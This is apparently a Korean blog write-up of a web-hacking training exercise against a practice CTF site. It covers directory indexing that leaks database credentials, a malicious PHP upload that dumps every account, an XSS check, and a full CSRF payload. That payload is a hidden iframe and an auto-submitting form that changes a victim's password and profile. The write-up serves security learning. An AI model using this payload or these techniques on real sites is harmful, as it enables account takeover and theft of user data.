본문 바로가기

카테고리 없음

웹 해킹 2주차) 다양한 취약점 찾기

1주차와 마찬가지로 2주차도 취약점이 굉장히 많다.

연습용 또는 개인용으로 제작되어 보안적인 관점을 신경쓰지 않았기 때문이다.

이러한 점을 고려하였을때 취약점을 분류하여 작성하기보다는 다양한 취약점을 찾아 공격을 시도해보자.

 

이전에 다룬 SQL 인젝션 공격은 문의게시판에도 적용된다.

이번에는 디렉토리 인덱싱과 파일 업로드를 이용한 공격과 XSS, CSRF를 다룬다.

 

디렉토리 인덱싱을 이용하면 상당히 다양한 파일을 얻어낼 수 있다.

위와 같이 phpinfo를 확인하고 취약점을 찾거나 test디렉토리를 발견하여 그 안의 내용을 확인하여

다양한 파일을 확인할 수 도 있다.

test 디렉토리를 확인하면 dbcon.php에 mysql의 정보를 확인할 수 있다.

계정정보, 비밀번호 등이 적혀있다. 이를 이용해서 php파일을 작성하면 아주 위험한 공격이 가능하다.

 

얻은 정보를 이용해서 파일 업로드를 이용한 공격을 살펴보자.

우선 간단한 게시글을 작성해야한다.

웹 쉘을 올려도 좋지만 이번에는 사전에 알아둔 db정보로 php파일을 작성해보았다.

해당 파일이 올라간다면 원하는 DB내 모든 정보를 받아올 수 있다.

파일을 업로드하고 경로로 들어가보면 다음과 같은 결과를 얻을 수 있다.

위는 테스트로 만들어둔 계정들의 정보다. php을 작성하여 모든 계정들의 정보를 불러왔다.

이를 통해 해당 사이트의 모든 계정을 탈취해 조작할 수 있게되었다.

 

이번에는 XSS를 다뤄본다. 우선 게시판 내 XSS가 가능할지 살펴봐야한다.

간단한게 alert를 띄어보자. XSS가 통한다면 아래와 같은 alert가 출력되어야한다.

정상적으로 통한다면 CSRF 공격을 더욱 쉽게 실행할 수 있다.

아래와 같은 스크립트를 삽입한다.

<iframe width="0" height="0" border="0" name="stealth" id="steal" style="display: none;" sandbox="allow-script"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:5005/login%20case%201/board/mypage_mod_ok.php" target="stealth">
<input type="hidden" name="userid" value="newtest">
<input type="hidden" name="pw" value="1111">
<input type="hidden" name="name" value="1111">
<input type="hidden" name="adress" value="1111">
<input type="hidden" name="email" value="1111">
<input type="hidden" name="sex" value="%EB%82%A8">
<input type="hidden" name="emadress" value="1111">
</form>
<script>document.forms[0].submit();</script>

위와 같이 작성하고 글을 작성한다.

그리고 burp를 켠 상태에서 글에 접근한다. burp suite를 켠 이유는 해당 공격의 실행 과정을 살펴보기 위해서다.

그리고 burp를 살펴보면 정상적으로 글이 수정되는 과정을 살펴볼 수 있다.

이후 마이페이지를 살펴보면 정보가 변경된 것을 확인할 수 있다.